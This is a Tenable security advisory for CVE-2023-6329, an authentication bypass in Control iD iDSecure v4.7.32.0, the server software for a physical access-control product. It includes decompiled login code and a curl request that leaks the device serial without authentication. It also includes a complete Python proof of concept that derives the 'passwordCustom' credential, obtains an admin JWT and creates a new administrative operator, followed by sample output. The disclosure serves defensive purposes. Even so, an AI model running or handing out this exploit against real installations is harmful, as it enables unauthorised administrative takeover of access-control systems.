Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Control iD iDSecure passwordCustom Authentication Bypass

Critical

Synopsis

An authentication bypass vulnerability exists in Control iD iDSecure v4.7.32.0. The login routine used by iDS-Core.dll contains a "passwordCustom" option that allows an unauthenticated attacker to compute valid credentials that can be used to bypass authentication and act as an administrative user.

iDS-Core.dll!ControliD.iDSecure.Tools.ServerJWT.Login() allows login via "passwordCustom":
        public LoginResult Login(LoginRequest client)
        {
           [...]
                if (client.passwordCustom == null)
                {
              [...]
                }
                else
                {
                    if (!(client.passwordCustom == Operators.DesbloqueioGerenciador(ServerJWT.Serial, client.passwordRandom)))
                    {
                        throw new DALException(Localization.Translate("InvalidPassword"));
                    }
                    operators = DAL.LoadBy<Operators>("user", "admin");
                    if (operators == null)
                    {
                        Operators operators2 = new Operators();
                        operators2.user = "admin";
                        operators2.name = "Administrador";
                        operators2.newPassword = "admin";
                        operators2.idType = 1;
                        operators = operators2;
                        DAL.Save<Operators>(operators2, 0L, false, false);
                    }
                    else
                    {
                        operators.newPassword = "admin";
                        operators.idType = 1;
                        DAL.Save<Operators>(operators, 0L, false, false);
                    }
              [...]

The passwordCustom value is computed from a user-supplied passwordRandom value and ServerJWT.Serial, which can be obtained by an unauthenticated remote attacker:

curl -sk '<https://<target-host>:30443/api/login/unlockGetData'>
{"passwordRandom":"redacted","serial":"redacted"}


With the disclosed ServerJWT.Serial value, the attacker can compute a correct passwordCustom value to authenticate to iDSecure as an administrative operator.

After successful login, a new operator with username 'admin' is created with the password set to 'admin'. If the 'admin' operator already exists the user password is reset to 'admin'.

Proof of Concept

import requests, sys, argparse, json, random, hashlib
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
descr  = 'Control iD iDSecure Authentication Bypass'
parser = argparse.ArgumentParser(descr)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, dest='target',help='Target host')
parser.add_argument('-p', '--port', dest ='port',type=int, default=30443, help='Target port, default: %(default)s')
args = parser.parse_args()
host  = args.target
port  = args.port
print('[*] Getting serial number')
url = f'https://{host}:{port}/api/login/unlockGetData'
r = requests.get(url, verify=False)
j = r.json()
if r.status_code == 200 and 'serial' in j:
  serial = j['serial']
  print(f'[+] Serial: {serial}')
else:
  sys.exit('[-] Failed to get serial number')
passwordRandom = str(random.randrange(0xffffffff))
print(f'[*] Pick a passwordRandom: {passwordRandom}')
m = hashlib.sha1(serial.encode()).hexdigest()
m = hashlib.sha256((m + passwordRandom + 'cid2016').encode()).hexdigest()[0:6]
passwordCustom = str(int(m, 16))
print(f'[*] Computed passwordCustom: {passwordCustom}')
print(f'[*] Logging in with passwordCustom and passwordRandom')
url = f'https://{host}:{port}/api/login/'
data  = {
  'passwordCustom'  : passwordCustom,
  'passwordRandom'  : passwordRandom
}
r = requests.post(url, json=data, verify=False) 
j = r.json()
if 'accessToken' in j and j['accessToken'] != None:
  accessToken = j['accessToken']
  print(f'[+] Got JWT accessToken: {accessToken}')
else:
  sys.exit('[-] Failed to get a JWT accessToken.\n' + r.text) 
endpoint = '/api/operator/'
username = 'operator'
password = 'Password123'
print(f'[*] Adding a new administrative operator "{username} / {password}" using the obtained accessToken')
url = f'https://{host}:{port}{endpoint}'
headers = {'Authorization': 'Bearer ' + accessToken}
data  = {
  "idType"        : "1",
  "name"          : username,
  "user"          : username,
  "newPassword"   : password,
  "password_confirmation":password
}
r = requests.post(url, headers=headers, json=data,verify=False) 
print('\n')
print(f'{r.status_code} {r.reason}')
print(r.text)
python3 control_id_idsecure_auth_bypass.py -t <target-host> -p 30443
[*] Getting serial number
[+] Serial: redacted
[*] Pick a passwordRandom: redacted
[*] Computed passwordCustom: redacted
[*] Logging in with passwordCustom and passwordRandom
[+] Got JWT accessToken: redacted
[*] Adding a new administrative operator "operator / Password123" using the obtained accessToken

 

Solution

The vendor has not responded to Tenable's attempts to disclose this issue. We recommend limiting access to this product within your environment or attempting to contact the vendor for mitigation recommendations.

Disclosure Timeline

October 6, 2023 - Tenable requests security contact from vendor.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-6329
Tenable Advisory ID: TRA-2023-36
CVSSv3 Base / Temporal Score:
9.8 / 9.8
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Control iD iDSecure v4.7.32.0
Risk Factor:
Critical

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now